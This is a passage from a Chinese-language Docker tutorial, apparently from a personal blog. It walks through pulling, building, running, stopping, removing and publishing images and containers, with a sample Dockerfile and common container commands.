ๆ˜ฏๆœๅŠกๅ™จ----ๅฎขๆˆท็ซฏๆžถๆž„ใ€‚ๅ‘ฝไปค่กŒ่ฟ่กŒ`docker`ๅ‘ฝไปค็š„ๆ—ถๅ€™๏ผŒ้œ€่ฆๆœฌๆœบๆœ‰ Docker ๆœๅŠกใ€‚ๅฆ‚ๆžœ่ฟ™้กนๆœๅŠกๆฒกๆœ‰ๅฏๅŠจ๏ผŒๅฏไปฅ็”จไธ‹้ข็š„ๅ‘ฝไปคๅฏๅŠจ๏ผˆ[ๅฎ˜ๆ–นๆ–‡ๆกฃ](https://docs.docker.com/config/daemon/systemd/)๏ผ‰ใ€‚\n\n```bash\n# ไปฅไธ‹ๅ‘ฝไปคไป…้€‚็”จไบŽ Linux ็ณป็ปŸ\n# service ๅ‘ฝไปค็š„็”จๆณ•\n$ sudo service docker start\n\n# systemctl ๅ‘ฝไปค็š„็”จๆณ• (RHEL7/Centos7)\n$ sudo systemctl start docker\n```\n\n> **ๆŽฅไธ‹ๆฅๅพˆ้‡่ฆ็š„ไบ‹๏ผŒๆ˜ฏไฟฎๆ”น Docker ็š„ๅฎ˜ๆ–นไป“ๅบ“ๅˆฐๅ›ฝๅ†…็š„้•œๅƒ็ฝ‘็ซ™ใ€‚**\n>\n> - ๅ‚่€ƒ[้•œๅƒๅŠ ้€Ÿๅ™จ](https://docker_practice.gitee.io/install/mirror.html)๏ผ\n\n\n\n## 8. ๅฎžไพ‹๏ผšHello-world\n\n็”ฑไบŽ Docker ๅฎ˜ๆ–นๆไพ›็š„ image ๆ–‡ไปถ๏ผŒ้ƒฝๆ”พๅœจ[`library`](https://hub.docker.com/r/library/)็ป„้‡Œ้ข๏ผŒๆ‰€ไปฅๅฎƒ็š„ๆ˜ฏ้ป˜่ฎค็ป„๏ผŒๅฏไปฅ็œ็•ฅใ€‚\n\n```shell\n# ๆŠ“ๅ–ๅฎ˜ๆ–น็š„ hello-world ้•œๅƒ๏ผš\n$ docker image pull hello-world\n\n# ๆŸฅ็œ‹\n$ docker image ls\n\n# ่ฟ่กŒ่ฟ™ไธช image ๆ–‡ไปถใ€‚\n$ docker container run hello-world\n\nHello from Docker!\nThis message shows that your installation appears to be working correctly.\n\n... ...\n# (่ฟ่กŒๆˆๅŠŸ๏ผ)\n```\n\nๆณจๆ„๏ผŒ`docker container run`ๅ‘ฝไปคๅ…ทๆœ‰่‡ชๅŠจๆŠ“ๅ– image ๆ–‡ไปถ็š„ๅŠŸ่ƒฝใ€‚ๅฆ‚ๆžœๅ‘็Žฐๆœฌๅœฐๆฒกๆœ‰ๆŒ‡ๅฎš็š„ image ๆ–‡ไปถ๏ผŒๅฐฑไผšไปŽไป“ๅบ“่‡ชๅŠจๆŠ“ๅ–ใ€‚ๅ› ๆญค๏ผŒๅ‰้ข็š„`docker image pull`ๅ‘ฝไปคๅนถไธๆ˜ฏๅฟ…้œ€็š„ๆญฅ้ชคใ€‚\n\nๆœ‰ไบ›ๅฎนๅ™จไธไผš่‡ชๅŠจ็ปˆๆญข๏ผŒๅ› ไธบๆไพ›็š„ๆ˜ฏๆœๅŠกใ€‚ๅฏนไบŽ้‚ฃไบ›ไธไผš่‡ชๅŠจ็ปˆๆญข็š„ๅฎนๅ™จ๏ผŒๅฟ…้กปไฝฟ็”จ[`docker container kill`](https://docs.docker.com/engine/reference/commandline/container_kill/) ๅ‘ฝไปคๆ‰‹ๅŠจ็ปˆๆญขใ€‚\n\n```shell\n$ docker container kill [containID]\n```\n\n\n\n\n\n## 9. ๅฎนๅ™จๆ–‡ไปถ\n\n**image ๆ–‡ไปถ็”Ÿๆˆ็š„ๅฎนๅ™จๅฎžไพ‹๏ผŒๆœฌ่บซไนŸๆ˜ฏไธ€ไธชๆ–‡ไปถ๏ผŒ็งฐไธบๅฎนๅ™จๆ–‡ไปถใ€‚**ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒไธ€ๆ—ฆๅฎนๅ™จ็”Ÿๆˆ๏ผŒๅฐฑไผšๅŒๆ—ถๅญ˜ๅœจไธคไธชๆ–‡ไปถ๏ผš image ๆ–‡ไปถๅ’Œๅฎนๅ™จๆ–‡ไปถใ€‚่€Œไธ”ๅ…ณ้—ญๅฎนๅ™จๅนถไธไผšๅˆ ้™คๅฎนๅ™จๆ–‡ไปถ๏ผŒๅชๆ˜ฏๅฎนๅ™จๅœๆญข่ฟ่กŒ่€Œๅทฒใ€‚\n\n```shell\n# ๅˆ—ๅ‡บๆœฌๆœบๆญฃๅœจ่ฟ่กŒ็š„ๅฎนๅ™จ\n$ docker container ls\n\n# ๅˆ—ๅ‡บๆœฌๆœบๆ‰€ๆœ‰ๅฎนๅ™จ๏ผŒๅŒ…ๆ‹ฌ็ปˆๆญข่ฟ่กŒ็š„ๅฎนๅ™จ\n$ docker container ls --all\n```\n\nไธŠ้ขๅ‘ฝไปค็š„่พ“ๅ‡บ็ป“ๆžœไน‹ไธญ๏ผŒๅŒ…ๆ‹ฌๅฎนๅ™จ็š„ IDใ€‚ๅพˆๅคšๅœฐๆ–น้ƒฝ้œ€่ฆๆไพ›่ฟ™ไธช ID๏ผŒๆฏ”ๅฆ‚ไธŠไธ€่Š‚็ปˆๆญขๅฎนๅ™จ่ฟ่กŒ็š„`docker container kill`ๅ‘ฝไปคใ€‚\n\n็ปˆๆญข่ฟ่กŒ็š„ๅฎนๅ™จๆ–‡ไปถ๏ผŒไพ็„ถไผšๅ ๆฎ็กฌ็›˜็ฉบ้—ด๏ผŒๅฏไปฅไฝฟ็”จ[`docker container rm`](https://docs.docker.com/engine/reference/commandline/container_rm/)ๅ‘ฝไปคๅˆ ้™คใ€‚\n\n```shell\n$ docker container rm [containerID]\n```\n\n่ฟ่กŒไธŠ้ข็š„ๅ‘ฝไปคไน‹ๅŽ๏ผŒๅ†ไฝฟ็”จ`docker container ls --all`ๅ‘ฝไปค๏ผŒๅฐฑไผšๅ‘็Žฐ่ขซๅˆ ้™ค็š„ๅฎนๅ™จๆ–‡ไปถๅทฒ็ปๆถˆๅคฑไบ†ใ€‚\n\n\n\n\n\n## 10. Dockerfile ๆ–‡ไปถ\n\nDockerfile ๆ–‡ไปถ๏ผŒๅฎƒๆ˜ฏไธ€ไธชๆ–‡ๆœฌๆ–‡ไปถ๏ผŒ็”จๆฅ้…็ฝฎ imageใ€‚Docker ๆ นๆฎ ่ฏฅๆ–‡ไปถ็”ŸๆˆไบŒ่ฟ›ๅˆถ็š„ image ๆ–‡ไปถใ€‚\n\n> ๅ…ณไบŽ Dockerfile ็š„ๅ†™ไฝœ่ง„ๅˆ™ๅ’Œๅฏ็”จ็š„ๆŒ‡ไปค๏ผŒ่ฏทๆŸฅ้˜…๏ผš\n>\n> - [Docker โ€” ไปŽๅ…ฅ้—จๅˆฐๅฎž่ทต](https://legacy.gitbook.com/book/yeasy/docker_practice/details) or [ๅœจ็บฟ้˜…่ฏปๅ›ฝๅ†…้•œๅƒ](https://docker_practice.gitee.io)๏ผˆ้žๅธธๅ…จ็š„ไธญๆ–‡ๆ•™็จ‹็”ตๅญไนฆ|[repo](https://github.com/yeasy/docker_practice)๏ผ‰\n\nไธ‹้ขๆ˜ฏ่ฎฐๅฝ•ๆˆ‘ๅˆถไฝœๆŸๆฌก Dockerfile ้•œๅƒๆ—ถ็”จ็š„ไปฃ็ ๏ผš\n\n```dockerfile\n# ่ฏฅ image ๆ–‡ไปถ็ปงๆ‰ฟๆˆ‘่‡ชๅทฑ็š„ gwave image๏ผŒๅ†’ๅท่กจ็คบๆ ‡็ญพ๏ผŒ่ฟ™้‡Œๆ ‡็ญพๆ˜ฏ2.0.0๏ผŒๅณ2.0.0็‰ˆๆœฌ็š„ gwaveใ€‚\nFROM iphysreserch/gwave:2.0.0\n\n# ๅฐ†ๅฝ“ๅ‰็›ฎๅฝ•ไธ‹็š„ๆ‰€ๆœ‰ๆ–‡ไปถ(้™คไบ†.dockerignoreๆŽ’้™ค็š„่ทฏๅพ„),้ƒฝๆ‹ท่ด่ฟ›ๅ…ฅ image ๆ–‡ไปถ้‡Œๅพฎ็ณป็ปŸ็š„/waveform็›ฎๅฝ•\nCOPY . /waveform\n\n# ๆŒ‡ๅฎšๆŽฅไธ‹ๆฅ็š„ๅทฅไฝœ่ทฏๅพ„ไธบ/waveform (ไนŸๅฐฑๆ˜ฏๅพฎ็ณป็ปŸ็š„ pwd)\nWORKDIR /waveform\n\n# ๅฎšไน‰ไธ€ไธชๅพฎ็ณป็ปŸ้‡Œ็š„็Žฏๅขƒๅ˜้‡\nENV VERSION=2.0.0\t# optional\n\n# ๅฐ†ๅฎนๅ™จ 3000 ็ซฏๅฃๆšด้œฒๅ‡บๆฅ๏ผŒ ๅ…่ฎธๅค–้ƒจ่ฟžๆŽฅ่ฟ™ไธช็ซฏๅฃ\nEXPOSE 3000\t\t\t# optional\n\n# ๅœจ/waveform็›ฎๅฝ•ไธ‹๏ผŒ่ฟ่กŒไปฅไธ‹ๅ‘ฝไปคๆ›ดๆ–ฐ็ณป็ปŸ็จ‹ๅบๅŒ…ใ€‚ๆณจๆ„๏ผŒๅฎ‰่ฃ…ๅŽๆ‰€ๆœ‰็š„ไพ่ต–้ƒฝๅฐ†ๆ‰“ๅŒ…่ฟ›ๅ…ฅ image ๆ–‡ไปถ\nRUN apt-get update && apt-get upgrade\t# optional\n\n# ๅฐ†ๆˆ‘่ฟ™ไธช image ๅšๆˆไธ€ไธช app ๅฏๆ‰ง่กŒ็จ‹ๅบ๏ผŒๅฎนๅ™จๅฏๅŠจๅŽ่‡ชๅŠจๆ‰ง่กŒไธ‹้ขๆŒ‡ไปค\nENTRYPOINT [\"bash\", \"setup.sh\"]\n```\n\nๅฏไปฅๅœจ้กน็›ฎ็š„ๆ น็›ฎๅฝ•ไธ‹ๅˆ›ๅปบไธ€ไธช `.dockerignore` ๆ–‡ไปถๅคน๏ผŒ่กจ็คบๅฏๆŽ’้™ค็š„ๆ–‡ไปถ๏ผŒ็ฑปไผผ `.gitignore`ใ€‚\n\nไนŸๅฏๅฐ† `ENTRYPOINT` ๆขๅš `CMD` ๏ผŒ้ƒฝๆ˜ฏๅฎนๅ™จๅฏๅŠจๅŽ่‡ชๅŠจๆ‰ง่กŒๆŒ‡ไปค๏ผŒ็ฎ€ๅ•ๅŒบๅˆซๅฐฑๆ˜ฏ `ENTRYPOINT` ๅฏไปฅๅœจๆœฌๅœฐๅฏๅŠจๅฎนๅ™จๆ—ถๅŠ ้ขๅค–็š„shellๅ‚ๆ•ฐใ€‚ๅฆๅค–๏ผŒไธ€ไธช Dockerfile ๅฏไปฅๅŒ…ๅซๅคšไธช`RUN`ๅ‘ฝไปค๏ผŒไฝ†ๆ˜ฏๅช่ƒฝๆœ‰ไธ€ไธช`CMD` ๆˆ–่€… `ENTRYPOINT` ๅ‘ฝไปคใ€‚\n\n```dockerfile\nCMD bash setup.sh\n```\n\n\n\n## 11. ๅˆ›ๅปบ image\n\nๆœ‰ไบ† Dockerfile ๆ–‡ไปถไปฅๅŽ๏ผŒๅฐฑๅฏไปฅไฝฟ็”จ`docker image build`ๅ‘ฝไปคๅˆ›ๅปบ image ๆ–‡ไปถไบ†\n\n```bash\n$ docker image build -t my-demo .\n# ๆˆ–่€…\n$ docker image build -t my-demo:0.0.1 .\n```\n\nไธŠ้ขไปฃ็ ไธญ๏ผŒ`-t`ๅ‚ๆ•ฐ็”จๆฅๆŒ‡ๅฎš image ๆ–‡ไปถ็š„ๅๅญ—๏ผŒๅŽ้ข่ฟ˜ๅฏไปฅ็”จๅ†’ๅทๆŒ‡ๅฎšๆ ‡็ญพใ€‚ๅฆ‚ๆžœไธๆŒ‡ๅฎš๏ผŒ้ป˜่ฎค็š„ๆ ‡็ญพๅฐฑๆ˜ฏ`latest`ใ€‚ๆœ€ๅŽ็š„้‚ฃไธช็‚น่กจ็คบ Dockerfile ๆ–‡ไปถๆ‰€ๅœจ็š„่ทฏๅพ„๏ผŒไธŠไพ‹ๆ˜ฏๅฝ“ๅ‰่ทฏๅพ„๏ผŒๆ‰€ไปฅๆ˜ฏไธ€ไธช็‚นใ€‚\n\nๅฆ‚ๆžœ่ฟ่กŒๆˆๅŠŸ๏ผŒๅฐฑๅฏไปฅ็œ‹ๅˆฐๆ–ฐ็”Ÿๆˆ็š„ image ๆ–‡ไปถ`my-demo`ไบ†ใ€‚\n\n```bash\n$ docker image ls -a\n```\n\n> ๆณจ๏ผš\n>\n> - ๅฝ“ๆฏ image ๆ˜ฏๆœ‰ `ENTRYPOINT` ๆ—ถ๏ผŒๅœจๅ…ถๅŸบ็ก€ไธŠๅˆ›ๅปบ็š„ๅญ image ไผš็ปงๆ‰ฟๅ…ถ `ENTRYPOINT`๏ผŒๅนถไธ”ไธไผš่ขซๅญ image ็š„ๅฎนๅ™จๅœจ docker run ๆ—ถๆไพ›็š„ๅ‚ๆ•ฐ่ฆ†็›–ใ€‚ๅชๆœ‰ๅœจๅญ image ็š„ `Dockerfile` ไธญๆŒ‡ๅฎš `ENTRYPOINT`ๅ† build ๅŽๆ‰ๅฏไปฅ่ฆ†็›–ใ€‚๏ผˆๅญ image ็š„`ENTRYPOINT` ไธบ็ฉบไนŸๅฏ๏ผ‰[REF](https://segmentfault.com/q/1010000004861105/a-1020000005367169) [REF](https://www.cnblogs.com/lienhua34/p/5170335.html)\n>\n> - **ๅŸบไบŽๅฎนๅ™จๆฅๅˆ›ๅปบ image**๏ผš[REF](https://blog.csdn.net/leo15561050003/article/details/71274718)\n>\n> ๅ…ˆ่ฟ่กŒไธ€ไธชๅฎนๅ™จ๏ผŒๅนถๅœจ่ฟ่กŒๅฎนๅ™จ็š„ๅŸบ็ก€ไธŠ่ฟ›่กŒไฟฎๆ”น๏ผˆไธ่ฆไฝฟ็”จ `docker run --rm` ๅ‚ๆ•ฐไผš่‡ชๅŠจๅˆ ้™คๅฎนๅ™จ๏ผŒๅบ”ไฝฟ็”จ`-it` ๅ‚ๆ•ฐๆฅๅฏไบคไบ’ ๏ผ‰๏ผŒๅฆ‚๏ผš\n>\n> ```bash\n> $ sudo docker container run -it <image_name> /bin/bash\n> ```\n>\n> ็„ถๅŽๅฐ†ๆญฃๅœจ่ฟ่กŒ็š„ๅฎนๅ™จๅฏผๅ‡บไธบ imageใ€‚\n>\n> ```bash\n> $ docker commit -m โ€œDescriptionโ€ -a โ€œusers <[email protected]>โ€ <ID> <your_repo:tags>\n> ```\n>\n> ๅ…ถไธญ๏ผš\n>\n> - `-m` ๆŒ‡ๅฎšๆไบค็š„่ฏดๆ˜Žไฟกๆฏ\n> - `-a` ๆŒ‡ๅฎšๆ›ดๆ–ฐ็š„ไฝœ่€…ๅ’Œ้‚ฎ็ฎฑ \n> - `<ID>` ๆƒณ่ฆไฟๅญ˜ไธบ image ็š„ๅฎนๅ™จ ID\n> - `<your_repo:tags>` ๆฌฒๆ–ฐๅปบ้•œๅƒ็š„ repository:tags\n\n## 12. ๅˆ ้™ค image\n\n```shell\n$ docker rmi [image ID]\n```\n\n\n\n> ่‹ฅ็”Ÿๆˆ image ๆœ‰่ฏฏ็ญ‰ๆƒ…ๅ†ต๏ผŒๅฏผ่‡ดๅ‡บ็Žฐ้šพไปฅๆญฃๅธธๅˆ ้™ค็š„ image๏ผŒๅฏๆ‰ง่กŒไธ‹้ข็š„ไปฃ็ ๅณๅฏ๏ผ\n>\n> ```shell\n> $ docker rmi $(docker images -f \"dangling=true\" -q)\n> ```\n>\n\n\n\n## 13. ็”Ÿๆˆๅฎนๅ™จ\n\n`docker container run`ๅ‘ฝไปคไผšไปŽ image ๆ–‡ไปถ็”Ÿๆˆๅฎนๅ™จใ€‚\n\nๆฏ”ๅฆ‚ไธ‹้ข็š„ไพ‹ๅญ๏ผš\n\n```bash\n$ docker container run -p 8000:3000 -it my-demo /bin/bash\n# ๆˆ–่€…\n$ docker container run -p 8000:3000 -it my-demo:0.0.1 /bin/bash\n```\n\nไธŠ้ขๅ‘ฝไปค็š„ๅ„ไธชๅ‚ๆ•ฐๅซไน‰ๅฆ‚ไธ‹๏ผš\n\n- `-p`ๅ‚ๆ•ฐ๏ผšๅฎนๅ™จ็š„ 3000 ็ซฏๅฃๆ˜ ๅฐ„ๅˆฐๆœฌๆœบ็š„ 8000 ็ซฏๅฃใ€‚\n- `-it`ๅ‚ๆ•ฐ๏ผšๅฎนๅ™จ็š„ Shell ๆ˜ ๅฐ„ๅˆฐๅฝ“ๅ‰็š„ Shell๏ผŒ็„ถๅŽไฝ ๅœจๆœฌๆœบ็ช—ๅฃ่พ“ๅ…ฅ็š„ๅ‘ฝไปค๏ผŒๅฐฑไผšไผ ๅ…ฅๅฎนๅ™จใ€‚\n- `my-demo:0.0.1`๏ผšimage ๆ–‡ไปถ็š„ๅๅญ—๏ผˆๅฆ‚ๆžœๆœ‰ๆ ‡็ญพ๏ผŒ่ฟ˜้œ€่ฆๆไพ›ๆ ‡็ญพ๏ผŒ้ป˜่ฎคๆ˜ฏ latest ๆ ‡็ญพ๏ผ‰ใ€‚\n- `/bin/bash`๏ผšๅฎนๅ™จๅฏๅŠจไปฅๅŽ๏ผŒๅ†…้ƒจ็ฌฌไธ€ไธชๆ‰ง่กŒ็š„ๅ‘ฝไปคใ€‚่ฟ™้‡Œๆ˜ฏๅฏๅŠจ Bash๏ผŒไฟ่ฏ็”จๆˆทๅฏไปฅไฝฟ็”จ Shellใ€‚\n\nๅฆ‚ๆžœไธ€ๅˆ‡ๆญฃๅธธ๏ผŒ่ฟ่กŒไธŠ้ขไพ‹ๅญ็š„ๅ‘ฝไปคไปฅๅŽ๏ผŒๅฐฑไผš่ฟ”ๅ›žไธ€ไธชๅ‘ฝไปค่กŒๆ็คบ็ฌฆ๏ผŒ่ฟ›ๅ…ฅๅˆฐโ€œๅพฎ็ณป็ปŸโ€้‡Œๅ•ฆ๏ผ\n\n```bash\nroot@66d80f4aaf1e:/app#\n```\n\n\n\n\n\n## 14. ็ปˆๆญขๅฎนๅ™จ\n\n่‹ฅๅœจๅฎนๅ™จ็š„ๅ‘ฝไปค่กŒไธญ๏ผŒๆŒ‰ไธ‹ Ctrl + c ๅœๆญข่ฟ›็จ‹๏ผŒ็„ถๅŽๆŒ‰ไธ‹ Ctrl + d ๏ผˆๆˆ–่€…่พ“ๅ…ฅ exit๏ผ‰้€€ๅ‡บๅฎนๅ™จใ€‚\n\nๆญคๅค–๏ผŒไธ็ฎกๆ˜ฏๅฎนๅ™จไธญ๏ผŒ่ฟ˜ๆ˜ฏๆœฌๆœบ็š„็ปˆ็ซฏ้‡Œ๏ผŒไนŸ้ƒฝๅฏไปฅ็”จ`docker container kill`็ปˆๆญขๅฎนๅ™จ่ฟ่กŒใ€‚\n\n```bash\n# ๅœจๆœฌๆœบ็š„ๅฆไธ€ไธช็ปˆ็ซฏ็ช—ๅฃ๏ผŒๆŸฅๅ‡บๅฎนๅ™จ็š„ ID\n$ docker container ls\n\n# ๅœๆญขๆŒ‡ๅฎš็š„ๅฎนๅ™จ่ฟ่กŒ\n$ docker container kill [containerID]\n```\n\n**ๅฎนๅ™จๅœๆญข่ฟ่กŒไน‹ๅŽ๏ผŒๅนถไธไผšๆถˆๅคฑ**๏ผŒ็”จไธ‹้ข็š„ๅ‘ฝไปคๅˆ ้™คๅฎนๅ™จๆ–‡ไปถใ€‚\n\n```bash\n# ๆŸฅๅ‡บๅฎนๅ™จ็š„ ID\n$ docker container ls --all\n\n# ๅˆ ้™คๆŒ‡ๅฎš็š„ๅฎนๅ™จๆ–‡ไปถ\n$ docker container rm [containerID] # containerID ๅฏไปฅ่พ“ๅ…ฅๅ‰ๅ‡ ไธชๅ…ณ้”ฎ่ฏๅณๅฏ\n```\n\nๆˆ–่€…ๅฏนไบŽๆŒ‡ๅฎš่ฟ‡ `name` ็š„ๅฎนๅ™จ่ฟ›็จ‹๏ผŒๅฏๅฆ‚ไธ‹ไพ‹ๅญๆฅๅ…ณ้—ญ `stop` ๅนถๅˆ ้™ค `rm` ๅฎนๅ™จ๏ผš\n\n```shell\n$ docker run -p 6379:6379 --name gredis -d redis\n# ... runing ...\n$ docker stop gredis\n$ docker rm gredis\n```\n\nไนŸๅฏไปฅไฝฟ็”จ`docker container run`ๅ‘ฝไปค็š„`--rm`ๅ‚ๆ•ฐ๏ผŒๅœจๅฎนๅ™จ็ปˆๆญข่ฟ่กŒๅŽ่‡ชๅŠจๅˆ ้™คๅฎนๅ™จๆ–‡ไปถ๏ผŒๅฆ‚ไธ‹้ข็š„ไพ‹ๅญ๏ผš\n\n```shell\n$ docker container run --rm -p 8000:3000 -it koa-demo /bin/bash\n```\n\n\n\n## 15. ๅ‘ๅธƒ image\n\nๅฎนๅ™จ่ฟ่กŒๆˆๅŠŸๅŽ๏ผŒๅฐฑ็กฎ่ฎคไบ† image ๆ–‡ไปถ็š„ๆœ‰ๆ•ˆๆ€งใ€‚่ฟ™ๆ—ถ๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅ่€ƒ่™‘ๆŠŠ image ๆ–‡ไปถๅˆ†ไบซๅˆฐ็ฝ‘ไธŠ๏ผŒ่ฎฉๅ…ถไป–ไบบไฝฟ็”จใ€‚\n\n้ฆ–ๅ…ˆ๏ผŒๅŽป [hub.docker.com](https://hub.docker.com/) ๆˆ– [cloud.docker.com](https://cloud.docker.com/) ๆณจๅ†Œไธ€ไธช่ดฆๆˆทใ€‚็„ถๅŽ๏ผŒ็”จไธ‹้ข็š„ๅ‘ฝไปค็™ปๅฝ•ใ€‚\n\n```bash\n$ docker login\n```\n\nๆŽฅ็€๏ผŒไธบๆœฌๅœฐ็š„ image ๆ ‡ๆณจ็”จๆˆทๅๅ’Œ็‰ˆๆœฌใ€‚\n\n```bash\n$ docker image tag [imageName] [username]/[repository]:[tag]\n# ๅฎžไพ‹\n$ docker image tag my-demos:0.0.1 iphysresearch/my-demos:0.0.1\n```\n\nไนŸๅฏไปฅไธๆ ‡ๆณจ็”จๆˆทๅ๏ผŒ้‡ๆ–ฐๆž„ๅปบไธ€ไธ‹ image ๆ–‡ไปถใ€‚\n\n```bash\n$ docker image build -t [username]/[repository]:[tag] .\n```\n\nๆœ€ๅŽ๏ผŒๅ‘ๅธƒ image ๆ–‡ไปถใ€‚\n\n```bash\n$ docker image push [username]/[repository]:[tag]\n```\n\nๅ‘ๅธƒๆˆๅŠŸไปฅๅŽ๏ผŒ็™ปๅฝ• hub.docker.com๏ผŒๅฐฑๅฏไปฅ็œ‹ๅˆฐๅทฒ็ปๅ‘ๅธƒ็š„ image ๆ–‡ไปถใ€‚\n\n\n\n\n\n\n\n## ้™„๏ผšDocker ๅฎนๅ™จๆŒ‚่ฝฝๆœฌๅœฐ็›ฎๅฝ•ๅŠๅฎž็Žฐๆ–‡ไปถๅ…ฑไบซ\n\nRef๏ผš[่ฏฆ่งฃDockerๆŒ‚่ฝฝๆœฌๅœฐ็›ฎๅฝ•ๅŠๅฎž็Žฐๆ–‡ไปถๅ…ฑไบซ](https://blog.csdn.net/magerguo/article/details/72514813/)\n\n\n\n\n\n## Appendix. ๅ…ถไป–ๆœ‰็”จ็š„ๅ‘ฝไปค\n\ndocker ็š„ไธป่ฆ็”จๆณ•ๅฐฑๆ˜ฏไธŠ้ข่ฟ™ไบ›๏ผŒๆญคๅค–่ฟ˜ๆœ‰ๅ‡ ไธชๅ‘ฝไปค๏ผŒไนŸ้žๅธธๆœ‰็”จใ€‚\n\n**๏ผˆ1๏ผ‰docker container start**\n\nๅ‰้ข็š„`docker container run`ๅ‘ฝไปคๆ˜ฏๆ–ฐๅปบๅฎนๅ™จ๏ผŒๆฏ่ฟ่กŒไธ€ๆฌก๏ผŒๅฐฑไผšๆ–ฐๅปบไธ€ไธชๅฎนๅ™จใ€‚ๅŒๆ ท็š„ๅ‘ฝไปค่ฟ่กŒไธคๆฌก๏ผŒๅฐฑไผš็”Ÿๆˆไธคไธชไธ€ๆจกไธ€ๆ ท็š„ๅฎนๅ™จๆ–‡ไปถใ€‚ๅฆ‚ๆžœๅธŒๆœ›้‡ๅคไฝฟ็”จๅฎนๅ™จ๏ผŒๅฐฑ่ฆไฝฟ็”จ`docker container start`ๅ‘ฝไปค๏ผŒๅฎƒ็”จๆฅๅฏๅŠจๅทฒ็ป็”Ÿๆˆใ€ๅทฒ็ปๅœๆญข่ฟ่กŒ็š„ๅฎนๅ™จๆ–‡ไปถใ€‚\n\n```bash\n$ docker container start [containerID]\n```\n\n**๏ผˆ2๏ผ‰docker container stop**\n\nๅ‰้ข็š„`docker container kill`ๅ‘ฝไปค็ปˆๆญขๅฎนๅ™จ่ฟ่กŒ๏ผŒ็›ธๅฝ“ไบŽๅ‘ๅฎนๅ™จ้‡Œ้ข็š„ไธป่ฟ›็จ‹ๅ‘ๅ‡บ SIGKILL ไฟกๅทใ€‚่€Œ`docker container stop`ๅ‘ฝไปคไนŸๆ˜ฏ็”จๆฅ็ปˆๆญขๅฎนๅ™จ่ฟ่กŒ๏ผŒ็›ธๅฝ“ไบŽๅ‘ๅฎนๅ™จ้‡Œ้ข็š„ไธป่ฟ›็จ‹ๅ‘ๅ‡บ SIGTERM ไฟกๅท๏ผŒ็„ถๅŽ่ฟ‡ไธ€ๆฎตๆ—ถ้—ดๅ†ๅ‘ๅ‡บ SIGKILL ไฟกๅทใ€‚\n\n```bash\n$ bash container stop [containerID]\n```\n\n่ฟ™ไธคไธชไฟกๅท็š„ๅทฎๅˆซๆ˜ฏ๏ผŒๅบ”็”จ็จ‹ๅบๆ”ถๅˆฐ SIGTERM ไฟกๅทไปฅๅŽ๏ผŒๅฏไปฅ่‡ช่กŒ่ฟ›่กŒๆ”ถๅฐพๆธ…็†ๅทฅไฝœ๏ผŒไฝ†ไนŸๅฏไปฅไธ็†ไผš่ฟ™ไธชไฟกๅทใ€‚ๅฆ‚ๆžœๆ”ถๅˆฐ SIGKILL ไฟกๅท๏ผŒๅฐฑไผšๅผบ่กŒ็ซ‹ๅณ็ปˆๆญข๏ผŒ้‚ฃไบ›ๆญฃๅœจ่ฟ›่กŒไธญ็š„ๆ“ไฝœไผšๅ…จ้ƒจไธขๅคฑใ€‚\n\n**๏ผˆ3๏ผ‰docker container logs**\n\n`docker container logs`ๅ‘ฝไปค็”จๆฅๆŸฅ็œ‹ docker ๅฎนๅ™จ็š„่พ“ๅ‡บ๏ผŒๅณๅฎนๅ™จ้‡Œ้ข Shell ็š„ๆ ‡ๅ‡†่พ“ๅ‡บใ€‚ๅฆ‚ๆžœ`docker run`ๅ‘ฝไปค่ฟ่กŒๅฎนๅ™จ็š„ๆ—ถๅ€™๏ผŒๆฒกๆœ‰ไฝฟ็”จ`-it`ๅ‚ๆ•ฐ๏ผŒๅฐฑ่ฆ็”จ่ฟ™ไธชๅ‘ฝไปคๆŸฅ็œ‹่พ“ๅ‡บใ€‚\n\n```bash\n$ docker container logs [containerID]\n```\n\n**๏ผˆ4๏ผ‰docker container exec**\n\n`docker container exec`ๅ‘ฝไปค็”จไบŽ่ฟ›ๅ…ฅไธ€ไธชๆญฃๅœจ่ฟ่กŒ็š„ docker ๅฎนๅ™จใ€‚ๅฆ‚ๆžœ`docker run`ๅ‘ฝไปค่ฟ่กŒๅฎนๅ™จ็š„ๆ—ถๅ€™๏ผŒๆฒกๆœ‰ไฝฟ็”จ`-it`ๅ‚ๆ•ฐ๏ผŒๅฐฑ่ฆ็”จ่ฟ™ไธชๅ‘ฝไปค่ฟ›ๅ…ฅๅฎนๅ™จใ€‚ไธ€ๆ—ฆ่ฟ›ๅ…ฅไบ†ๅฎนๅ™จ๏ผŒๅฐฑๅฏไปฅๅœจๅฎนๅ™จ็š„ Shell ๆ‰ง่กŒๅ‘ฝไปคไบ†ใ€‚\n\n```bash\n$ docker container exec -it [containerID] /bin/bash\n```\n\n**๏ผˆ5๏ผ‰docker container cp**\n\n`docker container cp`ๅ‘ฝไปค็”จไบŽไปŽๆญฃๅœจ่ฟ่กŒ็š„ Docker ๅฎนๅ™จ้‡Œ้ข๏ผŒๅฐ†ๆ–‡ไปถๆ‹ท่ดๅˆฐๆœฌๆœบใ€‚ไธ‹้ขๆ˜ฏๆ‹ท่ดๅˆฐๅฝ“ๅ‰็›ฎๅฝ•็š„ๅ†™ๆณ•ใ€‚\n\n```bash\n$ docker container cp [containID]:[/path/to/file] .\n```\n\n๏ผˆๅพ…็ปญ๏ผ‰\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./Docker_Tutorial.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work 